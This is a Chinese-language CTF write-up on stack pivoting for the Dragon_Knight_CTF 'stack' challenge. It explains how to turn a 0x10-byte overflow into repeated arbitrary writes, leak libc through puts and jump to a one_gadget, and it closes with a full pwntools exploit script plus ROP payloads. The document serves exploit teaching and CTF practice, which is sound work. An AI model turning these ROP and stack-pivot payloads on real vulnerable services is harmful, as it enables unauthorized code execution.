Dragon_Knight_CTF-stack（栈迁移）

程序的保护情况如下，可以看到没有开启pie保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

可以看道main函数也很简洁，只有一个0x10大小的溢出，程序给了libc，版本是2.31的

nt __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  inits();
  puts("Hello, CTFer, do you know how to stack pivoting?");
  read(0, buf, 0x110uLL);
  return 0;
}

思路分析

思路一：

可以看到返回地址是一个libc地址，我们只要将这个地址改成og地址就能拿到shell了，只不过这个比较看脸，1/4096的概率，理论上是可以拿到shell的，开多线程的话机会更大。但是对于我这种石头剪刀布都没有赢过别人的人，这种方法是行不通的。

思路二：

那就是栈迁移了，pwn最开始的栈迁移题目，一般是会给两次read机会的，第一次让我们往bss段上写rop，第二次只给0x10大小的溢出空间让我们进行栈迁移操作。

这道题只给了0x10大小的栈溢出空间，所以我们要想办法，创造多次写入的机会。

main函数的汇编：

.text:0000000000401176 ; __unwind {
.text:0000000000401176                 endbr64
.text:000000000040117A                 push    rbp
.text:000000000040117B                 mov     rbp, rsp
.text:000000000040117E                 sub     rsp, 100h
.text:0000000000401185                 mov     eax, 0
.text:000000000040118A                 call    inits
.text:000000000040118F                 lea     rdi, s          ; "Hello, CTFer, do you know how to stack "...
.text:0000000000401196                 call    _puts
.text:000000000040119B                 lea     rax, [rbp+buf]
.text:00000000004011A2                 mov     edx, 110h       ; nbytes
.text:00000000004011A7                 mov     rsi, rax        ; buf
.text:00000000004011AA                 mov     edi, 0          ; fd
.text:00000000004011AF                 mov     eax, 0
.text:00000000004011B4                 call    _read
.text:00000000004011B9                 mov     eax, 0
.text:00000000004011BE                 leave
.text:00000000004011BF                 retn
.text:00000000004011BF ; } // starts at 401176
.text:00000000004011BF main            endp

可以看到0x040119B，这行汇编会将rbp+buf的地址传给rax，而0x04011A7又会将rax传给rsi，之后会执行read函数，而rsi正是read函数的第二个参数，也就是要写入内容的地址。

所以我们如果能控制了rbp，那么这里就相当于有一个任意写。

到这里思路就很明朗了，这里的任意写我们在bss段写上rop，然后会执行leave ret，完成栈转移。

第一次溢出：

magic = 0x0040119B   #lea rax,[rbp+buf]
bss_buf = 0x0404a00

payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)

因为是页对齐，所以bss段其实是比较大的，bss段开始是0x404040，我这里设置bss_buf是0x40a00，这两者相差好几百字节。为什么要这么设置呢？因为假如在bss段执行rop，比如说执行read函数，在调用read函数的时候会向上申请栈，那么他可能会申请到不可读的空间，甚至会覆盖到got表，这样程序就直接carsh了，所以栈转移一般要设置在bss段后面一点，以防发生类似的错误。

这里首先就是将rbp设置成bss_buf+0x100，然后将会执行read(0,bss_buf,0x110)，在执行read函数的时候其实还没进行栈转移，栈转移是在执行完read函数之后进行的。

第二次溢出：

payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)

向bss_buf进行写rop，用puts函数来泄露libc基地址。

之后通过调整rbp的值，再次调用magic函数来获取任意写，这次要写入的地址其实是bss_buf+0x30。

第三次溢出：

payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)

再次完成栈转移，将rip劫持到bss_buf+0x30去执行我们写入的pop_r12_r13_r14_r15，用pop_r12_r13_r14_r15来使og可用，拿到shell。

栈转移分析

为了方便理解，我画了一些栈图来帮助理解。

magic = 0x0040119B   #lea rax,[rbp+buf]
bss_buf = 0x0404a00

payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)

在执行完read函数，溢出后此时的栈空间：

执行main函数本身的leave ret后：

执行read(0,0x404a00,0x110)

payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)

第一次溢出将返回地址覆盖为magic，执行完read后会带一个leave ret指令，执行完leave ret指令的栈图

rsp指向leave ret，将会再次执行leave ret指令，执行完的栈图

puts(puts_got)

read(0,0x404a30,0x110)

payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)

执行跳转到magic地址自带的leave ret

rsp指向leave ret，将会再次执行leave ret指令，执行完的栈图

接下来执行pop_r12_r13_r14_r15，然后就拿到shell了。

exp

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

magic = 0x0040119B   #lea rax,[rbp+buf]
pop_rdi = 0x00401210
puts_got = elf.got['puts']
puts = elf.plt['puts']
leave_ret = 0x004011BE
read = elf.plt['read']
pop_rbp = 0x0040115d
bss_buf = 0x0404a00
og = [0xe3afe,0xe3b01,0xe3b04]

payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)

payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))

shell = libc_base+og[0]
pop_r12_r13_r14_r15 = 0x040127c

payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
p.interactive()